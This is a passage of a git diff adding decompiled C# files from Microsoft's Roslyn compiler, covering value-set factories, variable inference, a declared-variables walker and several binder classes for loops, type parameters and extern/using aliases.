BoolValueSetFactory.Instance; + + internal static readonly IValueSetFactory ForFloat = FloatingValueSetFactory.Instance; + + internal static readonly IValueSetFactory ForDouble = FloatingValueSetFactory.Instance; + + internal static readonly IValueSetFactory ForString = EnumeratedValueSetFactory.Instance; + + internal static readonly IValueSetFactory ForDecimal = DecimalValueSetFactory.Instance; + + internal static readonly IValueSetFactory ForNint = NintValueSetFactory.Instance; + + internal static readonly IValueSetFactory ForNuint = NuintValueSetFactory.Instance; + + internal static readonly IValueSetFactory ForLength = NonNegativeIntValueSetFactory.Instance; + + public static IValueSetFactory? ForSpecialType(SpecialType specialType, bool isNative = false) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Expected I4, but got Unknown + switch (specialType - 7) + { + case 3: + return ForByte; + case 2: + return ForSByte; + case 1: + return ForChar; + case 4: + return ForShort; + case 5: + return ForUShort; + case 6: + return ForInt; + case 7: + return ForUInt; + case 8: + return ForLong; + case 9: + return ForULong; + case 0: + return ForBool; + case 11: + return ForFloat; + case 12: + return ForDouble; + case 13: + return ForString; + case 10: + return ForDecimal; + case 14: + if (isNative) + { + return ForNint; + } + break; + case 15: + if (isNative) + { + return ForNuint; + } + break; + } + return null; + } + + public static IValueSetFactory? ForType(TypeSymbol type) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (type.IsSpanOrReadOnlySpanChar()) + { + return ForString; + } + type = type.EnumUnderlyingTypeOrSelf(); + return ForSpecialType(type.SpecialType, type.IsNativeIntegerType); + } + + public static IValueSetFactory? ForInput(BoundDagTemp input) + { + if (input.Source is BoundDagPropertyEvaluation { IsLengthOrCount: not false }) + { + return ForLength; + } + return ForType(input.Type); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/VariablePendingInference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/VariablePendingInference.cs new file mode 100644 index 0000000..ce65f3e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/VariablePendingInference.cs @@ -0,0 +1,106 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class VariablePendingInference : BoundExpression +{ + protected abstract ErrorCode InferenceFailedError { get; } + + public new TypeSymbol? Type => base.Type; + + public Symbol VariableSymbol { get; } + + public BoundExpression? ReceiverOpt { get; } + + internal BoundExpression SetInferredTypeWithAnnotations(TypeWithAnnotations type, BindingDiagnosticBag? diagnosticsOpt) + { + return SetInferredTypeWithAnnotations(type, null, diagnosticsOpt); + } + + internal BoundExpression SetInferredTypeWithAnnotations(TypeWithAnnotations type, Binder? binderOpt, BindingDiagnosticBag? diagnosticsOpt) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Invalid comparison between Unknown and I4 + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Invalid comparison between Unknown and I4 + //IL_0185: Unknown result type (might be due to invalid IL or missing references) + //IL_00b6: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Invalid comparison between Unknown and I4 + bool flag = !type.HasType; + if (flag) + { + type = TypeWithAnnotations.Create(binderOpt.CreateErrorType("var")); + } + SymbolKind kind = VariableSymbol.Kind; + if ((int)kind != 6) + { + if ((int)kind == 8) + { + SourceLocalSymbol sourceLocalSymbol = (SourceLocalSymbol)VariableSymbol; + if (((BindingDiagnosticBag)(diagnosticsOpt?)).DiagnosticBag != null) + { + if (flag) + { + ReportInferenceFailure(diagnosticsOpt); + } + else + { + SyntaxNode val = (SyntaxNode)(object)((Syntax.Kind() == SyntaxKind.DeclarationExpression) ? ((DeclarationExpressionSyntax)(object)Syntax).Type : ((TypeSyntax)(object)Syntax)); + Binder.CheckRestrictedTypeInAsyncMethod(sourceLocalSymbol.ContainingSymbol, type.Type, diagnosticsOpt, val); + if ((int)sourceLocalSymbol.Scope == 2 && !type.Type.IsErrorTypeOrRefLikeType()) + { + diagnosticsOpt.Add(ErrorCode.ERR_ScopedRefAndRefStructOnly, ((SyntaxNode)((val is TypeSyntax syntax) ? syntax.SkipScoped(out var _).SkipRef() : ((TypeSyntax)(object)val))).Location); + } + } + } + sourceLocalSymbol.SetTypeWithAnnotations(type); + return new BoundLocal(Syntax, sourceLocalSymbol, BoundLocalDeclarationKind.WithInferredType, null, isNullableUnknown: false, type.Type, base.HasErrors || flag).WithWasConverted(); + } + throw ExceptionUtilities.UnexpectedValue((object)VariableSymbol.Kind); + } + GlobalExpressionVariable globalExpressionVariable = (GlobalExpressionVariable)VariableSymbol; + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, withDependencies: false); + if (flag) + { + ReportInferenceFailure(instance); + } + type = globalExpressionVariable.SetTypeWithAnnotations(type, instance); + ((BindingDiagnosticBag)(object)instance).Free(); + return new BoundFieldAccess(Syntax, ReceiverOpt, globalExpressionVariable, null, LookupResultKind.Viable, isDeclaration: true, type.Type, base.HasErrors || flag); + } + + internal BoundExpression FailInference(Binder binder, BindingDiagnosticBag? diagnosticsOpt) + { + return SetInferredTypeWithAnnotations(default(TypeWithAnnotations), binder, diagnosticsOpt); + } + + private void ReportInferenceFailure(BindingDiagnosticBag diagnostics) + { + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + SingleVariableDesignationSyntax singleVariableDesignationSyntax = Syntax.Kind() switch + { + SyntaxKind.DeclarationExpression => (SingleVariableDesignationSyntax)((DeclarationExpressionSyntax)(object)Syntax).Designation, + SyntaxKind.SingleVariableDesignation => (SingleVariableDesignationSyntax)(object)Syntax, + _ => throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/BoundTree/VariablePendingInference.cs", 131), + }; + ErrorCode inferenceFailedError = InferenceFailedError; + SyntaxToken identifier = singleVariableDesignationSyntax.Identifier; + object[] array = new object[1]; + SyntaxToken identifier2 = singleVariableDesignationSyntax.Identifier; + array[0] = ((SyntaxToken)(ref identifier2)).ValueText; + Binder.Error(diagnostics, inferenceFailedError, identifier, array); + } + + protected VariablePendingInference(BoundKind kind, SyntaxNode syntax, Symbol variableSymbol, BoundExpression? receiverOpt, bool hasErrors = false) + : base(kind, syntax, null, hasErrors) + { + VariableSymbol = variableSymbol; + ReceiverOpt = receiverOpt; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/VariablesDeclaredWalker.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/VariablesDeclaredWalker.cs new file mode 100644 index 0000000..3e72d9d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/VariablesDeclaredWalker.cs @@ -0,0 +1,172 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal class VariablesDeclaredWalker : AbstractRegionControlFlowPass +{ + private HashSet _variablesDeclared = new HashSet(); + + internal static IEnumerable Analyze(CSharpCompilation compilation, Symbol member, BoundNode node, BoundNode firstInRegion, BoundNode lastInRegion) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + VariablesDeclaredWalker variablesDeclaredWalker = new VariablesDeclaredWalker(compilation, member, node, firstInRegion, lastInRegion); + try + { + bool badRegion = false; + variablesDeclaredWalker.Analyze(ref badRegion); + IEnumerable result; + if (!badRegion) + { + IEnumerable variablesDeclared = variablesDeclaredWalker._variablesDeclared; + result = variablesDeclared; + } + else + { + result = SpecializedCollections.EmptyEnumerable(); + } + return result; + } + finally + { + variablesDeclaredWalker.Free(); + } + } + + internal VariablesDeclaredWalker(CSharpCompilation compilation, Symbol member, BoundNode node, BoundNode firstInRegion, BoundNode lastInRegion) + : base(compilation, member, node, firstInRegion, lastInRegion) + { + } + + protected override void Free() + { + base.Free(); + _variablesDeclared = null; + } + + public override void VisitPattern(BoundPattern pattern) + { + base.VisitPattern(pattern); + NoteDeclaredPatternVariables(pattern); + } + + protected override void VisitSwitchSection(BoundSwitchSection node, bool isLastSection) + { + ImmutableArray.Enumerator enumerator = node.SwitchLabels.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundSwitchLabel current = enumerator.Current; + NoteDeclaredPatternVariables(current.Pattern); + } + base.VisitSwitchSection(node, isLastSection); + } + + private void NoteDeclaredPatternVariables(BoundPattern pattern) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Invalid comparison between Unknown and I4 + if (base.IsInside && pattern is BoundObjectPattern boundObjectPattern) + { + Symbol? variable = boundObjectPattern.Variable; + if ((object)variable != null && (int)variable.Kind == 8) + { + _variablesDeclared.Add(boundObjectPattern.Variable); + } + } + } + + public override BoundNode VisitLocalDeclaration(BoundLocalDeclaration node) + { + if (base.IsInside) + { + _variablesDeclared.Add(node.LocalSymbol); + } + return base.VisitLocalDeclaration(node); + } + + public override BoundNode VisitLambda(BoundLambda node) + { + if (base.IsInside && !node.WasCompilerGenerated) + { + ImmutableArray.Enumerator enumerator = node.Symbol.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + _variablesDeclared.Add(current); + } + } + return base.VisitLambda(node); + } + + public override BoundNode VisitLocalFunctionStatement(BoundLocalFunctionStatement node) + { + if (base.IsInside && !node.WasCompilerGenerated) + { + ImmutableArray.Enumerator enumerator = node.Symbol.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + _variablesDeclared.Add(current); + } + } + return base.VisitLocalFunctionStatement(node); + } + + public override void VisitForEachIterationVariables(BoundForEachStatement node) + { + if (!base.IsInside) + { + return; + } + BoundDeconstructionAssignmentOperator boundDeconstructionAssignmentOperator = node.DeconstructionOpt?.DeconstructionAssignment; + if (boundDeconstructionAssignmentOperator == null) + { + ISetExtensions.AddAll((ISet)_variablesDeclared, (IEnumerable)node.IterationVariables); + return; + } + boundDeconstructionAssignmentOperator.Left.VisitAllElements(delegate(BoundExpression x, VariablesDeclaredWalker self) + { + self.Visit(x); + }, this); + } + + protected override void VisitCatchBlock(BoundCatchBlock catchBlock, ref LocalState finallyState) + { + if (base.IsInside) + { + LocalSymbol localSymbol = catchBlock.Locals.FirstOrDefault(); + if ((object)localSymbol != null && localSymbol.DeclarationKind == LocalDeclarationKind.CatchVariable) + { + _variablesDeclared.Add(localSymbol); + } + } + base.VisitCatchBlock(catchBlock, ref finallyState); + } + + public override BoundNode VisitQueryClause(BoundQueryClause node) + { + if (base.IsInside && (object)node.DefinedSymbol != null) + { + _variablesDeclared.Add(node.DefinedSymbol); + } + return base.VisitQueryClause(node); + } + + protected override void VisitLvalue(BoundLocal node) + { + VisitLocal(node); + } + + public override BoundNode VisitLocal(BoundLocal node) + { + if (base.IsInside && node.DeclarationKind != BoundLocalDeclarationKind.None) + { + _variablesDeclared.Add(node.LocalSymbol); + } + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WhileBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WhileBinder.cs new file mode 100644 index 0000000..096fc6d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WhileBinder.cs @@ -0,0 +1,62 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class WhileBinder : LoopBinder +{ + private readonly StatementSyntax _syntax; + + internal override SyntaxNode ScopeDesignator => (SyntaxNode)(object)_syntax; + + public WhileBinder(Binder enclosing, StatementSyntax syntax) + : base(enclosing) + { + _syntax = syntax; + } + + internal override BoundWhileStatement BindWhileParts(BindingDiagnosticBag diagnostics, Binder originalBinder) + { + WhileStatementSyntax whileStatementSyntax = (WhileStatementSyntax)_syntax; + BoundExpression condition = originalBinder.BindBooleanExpression(whileStatementSyntax.Condition, diagnostics); + BoundStatement body = originalBinder.BindPossibleEmbeddedStatement(whileStatementSyntax.Statement, diagnostics); + return new BoundWhileStatement((SyntaxNode)(object)whileStatementSyntax, Locals, condition, body, BreakLabel, ContinueLabel); + } + + internal override BoundDoStatement BindDoParts(BindingDiagnosticBag diagnostics, Binder originalBinder) + { + DoStatementSyntax doStatementSyntax = (DoStatementSyntax)_syntax; + BoundExpression condition = originalBinder.BindBooleanExpression(doStatementSyntax.Condition, diagnostics); + BoundStatement body = originalBinder.BindPossibleEmbeddedStatement(doStatementSyntax.Statement, diagnostics); + return new BoundDoStatement((SyntaxNode)(object)doStatementSyntax, Locals, condition, body, BreakLabel, ContinueLabel); + } + + protected override ImmutableArray BuildLocals() + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ExpressionVariableFinder.FindExpressionVariables(this, instance, _syntax.Kind() switch + { + SyntaxKind.WhileStatement => ((WhileStatementSyntax)_syntax).Condition, + SyntaxKind.DoStatement => ((DoStatementSyntax)_syntax).Condition, + _ => throw ExceptionUtilities.UnexpectedValue((object)_syntax.Kind()), + }); + return instance.ToImmutableAndFree(); + } + + internal override ImmutableArray GetDeclaredLocalsForScope(SyntaxNode scopeDesignator) + { + if ((object)_syntax == scopeDesignator) + { + return Locals; + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/WhileBinder.cs", 76); + } + + internal override ImmutableArray GetDeclaredLocalFunctionsForScope(CSharpSyntaxNode scopeDesignator) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/WhileBinder.cs", 81); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithClassTypeParametersBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithClassTypeParametersBinder.cs new file mode 100644 index 0000000..0d60f08 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithClassTypeParametersBinder.cs @@ -0,0 +1,60 @@ +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class WithClassTypeParametersBinder : WithTypeParametersBinder +{ + private readonly NamedTypeSymbol _namedType; + + private MultiDictionary _lazyTypeParameterMap; + + protected override MultiDictionary TypeParameterMap + { + get + { + if (_lazyTypeParameterMap == null) + { + MultiDictionary val = new MultiDictionary(); + ImmutableArray.Enumerator enumerator = _namedType.TypeParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterSymbol current = enumerator.Current; + val.Add(current.Name, current); + } + Interlocked.CompareExchange(ref _lazyTypeParameterMap, val, null); + } + return _lazyTypeParameterMap; + } + } + + internal WithClassTypeParametersBinder(NamedTypeSymbol container, Binder next) + : base(next) + { + _namedType = container; + } + + internal override bool IsAccessibleHelper(Symbol symbol, TypeSymbol accessThroughType, out bool failedThroughTypeCheck, ref CompoundUseSiteInfo useSiteInfo, ConsList basesBeingResolved) + { + return IsSymbolAccessibleConditional(symbol, _namedType, accessThroughType, out failedThroughTypeCheck, ref useSiteInfo, basesBeingResolved); + } + + internal override void AddLookupSymbolsInfoInSingleBinder(LookupSymbolsInfo result, LookupOptions options, Binder originalBinder) + { + if (!CanConsiderTypeParameters(options)) + { + return; + } + ImmutableArray.Enumerator enumerator = _namedType.TypeParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterSymbol current = enumerator.Current; + if (originalBinder.CanAddLookupSymbolInfo(current, options, result, null)) + { + ((AbstractLookupSymbolsInfo)result).AddSymbol((Symbol)current, current.Name, 0); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithCrefTypeParametersBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithCrefTypeParametersBinder.cs new file mode 100644 index 0000000..2ea0290 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithCrefTypeParametersBinder.cs @@ -0,0 +1,145 @@ +using System; +using System.Collections.Generic; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class WithCrefTypeParametersBinder : WithTypeParametersBinder +{ + private readonly CrefSyntax _crefSyntax; + + private MultiDictionary _lazyTypeParameterMap; + + protected override MultiDictionary TypeParameterMap + { + get + { + if (_lazyTypeParameterMap == null) + { + MultiDictionary value = CreateTypeParameterMap(); + Interlocked.CompareExchange(ref _lazyTypeParameterMap, value, null); + } + return _lazyTypeParameterMap; + } + } + + internal WithCrefTypeParametersBinder(CrefSyntax crefSyntax, Binder next) + : base(next) + { + _crefSyntax = crefSyntax; + } + + private MultiDictionary CreateTypeParameterMap() + { + MultiDictionary val = new MultiDictionary(); + switch (_crefSyntax.Kind()) + { + case SyntaxKind.TypeCref: + AddTypeParameters(((TypeCrefSyntax)_crefSyntax).Type, val); + break; + case SyntaxKind.QualifiedCref: + { + QualifiedCrefSyntax qualifiedCrefSyntax = (QualifiedCrefSyntax)_crefSyntax; + AddTypeParameters(qualifiedCrefSyntax.Member, val); + AddTypeParameters(qualifiedCrefSyntax.Container, val); + break; + } + case SyntaxKind.NameMemberCref: + case SyntaxKind.IndexerMemberCref: + case SyntaxKind.OperatorMemberCref: + case SyntaxKind.ConversionOperatorMemberCref: + AddTypeParameters((MemberCrefSyntax)_crefSyntax, val); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)_crefSyntax.Kind()); + } + return val; + } + + private void AddTypeParameters(TypeSyntax typeSyntax, MultiDictionary map) + { + switch (typeSyntax.Kind()) + { + case SyntaxKind.AliasQualifiedName: + AddTypeParameters(((AliasQualifiedNameSyntax)typeSyntax).Name, map); + break; + case SyntaxKind.QualifiedName: + { + QualifiedNameSyntax qualifiedNameSyntax = (QualifiedNameSyntax)typeSyntax; + AddTypeParameters(qualifiedNameSyntax.Right, map); + AddTypeParameters(qualifiedNameSyntax.Left, map); + break; + } + case SyntaxKind.GenericName: + AddTypeParameters((GenericNameSyntax)typeSyntax, map); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)typeSyntax.Kind()); + case SyntaxKind.IdentifierName: + case SyntaxKind.PredefinedType: + break; + } + } + + private void AddTypeParameters(MemberCrefSyntax memberSyntax, MultiDictionary map) + { + if (memberSyntax.Kind() == SyntaxKind.NameMemberCref) + { + AddTypeParameters(((NameMemberCrefSyntax)memberSyntax).Name, map); + } + } + + private static void AddTypeParameters(GenericNameSyntax genericNameSyntax, MultiDictionary map) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + SeparatedSyntaxList arguments = genericNameSyntax.TypeArgumentList.Arguments; + for (int num = arguments.Count - 1; num >= 0; num--) + { + if (arguments[num].Kind() == SyntaxKind.IdentifierName) + { + IdentifierNameSyntax identifierNameSyntax = (IdentifierNameSyntax)arguments[num]; + SyntaxToken identifier = identifierNameSyntax.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + if (SyntaxFacts.IsValidIdentifier(valueText) && !map.ContainsKey(valueText)) + { + TypeParameterSymbol typeParameterSymbol = new CrefTypeParameterSymbol(valueText, num, identifierNameSyntax); + map.Add(valueText, typeParameterSymbol); + } + } + } + } + + internal override void AddLookupSymbolsInfoInSingleBinder(LookupSymbolsInfo result, LookupOptions options, Binder originalBinder) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + if (!CanConsiderTypeParameters(options)) + { + return; + } + foreach (KeyValuePair> item in TypeParameterMap) + { + Enumerator enumerator2 = item.Value.GetEnumerator(); + try + { + while (enumerator2.MoveNext()) + { + TypeParameterSymbol current2 = enumerator2.Current; + ((AbstractLookupSymbolsInfo)result).AddSymbol((Symbol)current2, item.Key, 0); + } + } + finally + { + ((IDisposable)enumerator2/*cast due to constrained. prefix*/).Dispose(); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithExternAliasesBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithExternAliasesBinder.cs new file mode 100644 index 0000000..38e6adb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithExternAliasesBinder.cs @@ -0,0 +1,89 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class WithExternAliasesBinder : Binder +{ + private sealed class FromSyntax : WithExternAliasesBinder + { + private readonly SourceNamespaceSymbol _declaringSymbol; + + private readonly CSharpSyntaxNode _declarationSyntax; + + private ImmutableArray _lazyExternAliases; + + internal override ImmutableArray ExternAliases + { + get + { + if (_lazyExternAliases.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref _lazyExternAliases, _declaringSymbol.GetExternAliases(_declarationSyntax)); + } + return _lazyExternAliases; + } + } + + internal FromSyntax(SourceNamespaceSymbol declaringSymbol, CSharpSyntaxNode declarationSyntax, Binder next) + : base(next) + { + _declaringSymbol = declaringSymbol; + _declarationSyntax = declarationSyntax; + } + } + + private sealed class FromSymbols : WithExternAliasesBinder + { + private readonly ImmutableArray _externAliases; + + internal override ImmutableArray ExternAliases => _externAliases; + + internal FromSymbols(ImmutableArray externAliases, Binder next) + : base(next) + { + _externAliases = externAliases; + } + } + + internal abstract override ImmutableArray ExternAliases { get; } + + internal WithExternAliasesBinder(Binder next) + : base(next) + { + } + + internal override void LookupSymbolsInSingleBinder(LookupResult result, string name, int arity, ConsList basesBeingResolved, LookupOptions options, Binder originalBinder, bool diagnose, ref CompoundUseSiteInfo useSiteInfo) + { + LookupSymbolInAliases(ImmutableDictionary.Empty, ExternAliases, originalBinder, result, name, arity, basesBeingResolved, options, diagnose, ref useSiteInfo); + } + + internal override void AddLookupSymbolsInfoInSingleBinder(LookupSymbolsInfo result, LookupOptions options, Binder originalBinder) + { + if ((options & LookupOptions.LabelsOnly) == 0) + { + AddLookupSymbolsInfoInAliases(ImmutableDictionary.Empty, ExternAliases, result, options, originalBinder); + } + } + + protected sealed override SourceLocalSymbol? LookupLocal(SyntaxToken nameToken) + { + return null; + } + + protected sealed override LocalFunctionSymbol? LookupLocalFunction(SyntaxToken nameToken) + { + return null; + } + + internal static WithExternAliasesBinder Create(SourceNamespaceSymbol declaringSymbol, CSharpSyntaxNode declarationSyntax, Binder next) + { + return new FromSyntax(declaringSymbol, declarationSyntax, next); + } + + internal static WithExternAliasesBinder Create(ImmutableArray externAliases, Binder next) + { + return new FromSymbols(externAliases, next); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithExternAndUsingAliasesBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithExternAndUsingAliasesBinder.cs new file mode 100644 index 0000000..1cf5660 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/WithExternAndUsingAliasesBinder.cs @@ -0,0 +1,210 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class WithExternAndUsingAliasesBinder : WithExternAliasesBinder +{ + private sealed class FromSyntax : WithExternAndUsingAliasesBinder + { + private readonly SourceNamespaceSymbol _declaringSymbol; + + private readonly CSharpSyntaxNode _declarationSyntax; + + private ImmutableArray _lazyExternAliases; + + private ImmutableArray _lazyUsingAliases; + + private ImmutableDictionary? _lazyUsingAliasesMap; + + private QuickAttributeChecker? _lazyQuickAttributeChecker; + + internal sealed override ImmutableArray ExternAliases + { + get + { + if (_lazyExternAliases.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref _lazyExternAliases, _declaringSymbol.GetExternAliases(_declarationSyntax)); + } + return _lazyExternAliases; + } + } + + internal override ImmutableArray UsingAliases + { + get + { + if (_lazyUsingAliases.IsDefault) + { + ImmutableInterlocked.InterlockedInitialize(ref _lazyUsingAliases, _declaringSymbol.GetUsingAliases(_declarationSyntax, null)); + } + return _lazyUsingAliases; + } + } + + internal override QuickAttributeChecker QuickAttributeChecker + { + get + { + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_00df: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + if (_lazyQuickAttributeChecker == null) + { + QuickAttributeChecker quickAttributeChecker = base.Next.QuickAttributeChecker; + CSharpSyntaxNode declarationSyntax = _declarationSyntax; + SyntaxList usings; + if (!(declarationSyntax is CompilationUnitSyntax compilationUnitSyntax)) + { + if (!(declarationSyntax is BaseNamespaceDeclarationSyntax baseNamespaceDeclarationSyntax)) + { + throw ExceptionUtilities.UnexpectedValue((object)_declarationSyntax); + } + usings = baseNamespaceDeclarationSyntax.Usings; + } + else + { + ImmutableArray.Enumerator enumerator = ((SourceNamespaceSymbol)base.Compilation.SourceModule.GlobalNamespace).MergedDeclaration.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SingleNamespaceDeclaration current = enumerator.Current; + if (current.HasGlobalUsings && compilationUnitSyntax.SyntaxTree != current.SyntaxReference.SyntaxTree) + { + quickAttributeChecker = quickAttributeChecker.AddAliasesIfAny(((CompilationUnitSyntax)(object)current.SyntaxReference.GetSyntax(default(CancellationToken))).Usings, onlyGlobalAliases: true); + } + } + usings = compilationUnitSyntax.Usings; + } + quickAttributeChecker = quickAttributeChecker.AddAliasesIfAny(usings); + _lazyQuickAttributeChecker = quickAttributeChecker; + } + return _lazyQuickAttributeChecker; + } + } + + internal FromSyntax(SourceNamespaceSymbol declaringSymbol, CSharpSyntaxNode declarationSyntax, WithUsingNamespacesAndTypesBinder next) + : base(next) + { + _declaringSymbol = declaringSymbol; + _declarationSyntax = declarationSyntax; + } + + protected override ImmutableDictionary GetUsingAliasesMap(ConsList? basesBeingResolved) + { + if (_lazyUsingAliasesMap == null) + { + Interlocked.CompareExchange(ref _lazyUsingAliasesMap, _declaringSymbol.GetUsingAliasesMap(_declarationSyntax, basesBeingResolved), null); + } + return _lazyUsingAliasesMap; + } + + protected override ImportChain BuildImportChain() + { + ImportChain parentOpt = base.Next.ImportChain; + if (_declarationSyntax is BaseNamespaceDeclarationSyntax baseNamespaceDeclarationSyntax) + { + for (NameSyntax nameSyntax = baseNamespaceDeclarationSyntax.Name; nameSyntax is QualifiedNameSyntax qualifiedNameSyntax; nameSyntax = qualifiedNameSyntax.Left) + { + parentOpt = new ImportChain(Imports.Empty, parentOpt); + } + } + return new ImportChain(_declaringSymbol.GetImports(_declarationSyntax, null), parentOpt); + } + } + + private sealed class FromSymbols : WithExternAndUsingAliasesBinder + { + private readonly ImmutableArray _externAliases; + + private readonly ImmutableDictionary _usingAliases; + + internal override ImmutableArray ExternAliases => _externAliases; + + internal override ImmutableArray UsingAliases => EnumerableExtensions.SelectAsArray, AliasAndUsingDirective>((IReadOnlyCollection>)_usingAliases, (Func, AliasAndUsingDirective>)((KeyValuePair pair) => pair.Value)); + + internal FromSymbols(ImmutableArray externAliases, ImmutableDictionary usingAliases, WithUsingNamespacesAndTypesBinder next) + : base(next) + { + _externAliases = externAliases; + _usingAliases = usingAliases; + } + + protected override ImmutableDictionary GetUsingAliasesMap(ConsList? basesBeingResolved) + { + return _usingAliases; + } + + protected override ImportChain BuildImportChain() + { + return new ImportChain(Imports.Create(_usingAliases, ((WithUsingNamespacesAndTypesBinder)base.Next).GetUsings(null), _externAliases), base.Next.ImportChain); + } + } + + private ImportChain? _lazyImportChain; + + internal abstract override ImmutableArray UsingAliases { get; } + + internal override ImportChain ImportChain + { + get + { + if (_lazyImportChain == null) + { + Interlocked.CompareExchange(ref _lazyImportChain, BuildImportChain(), null); + } + return _lazyImportChain; + } + } + + protected 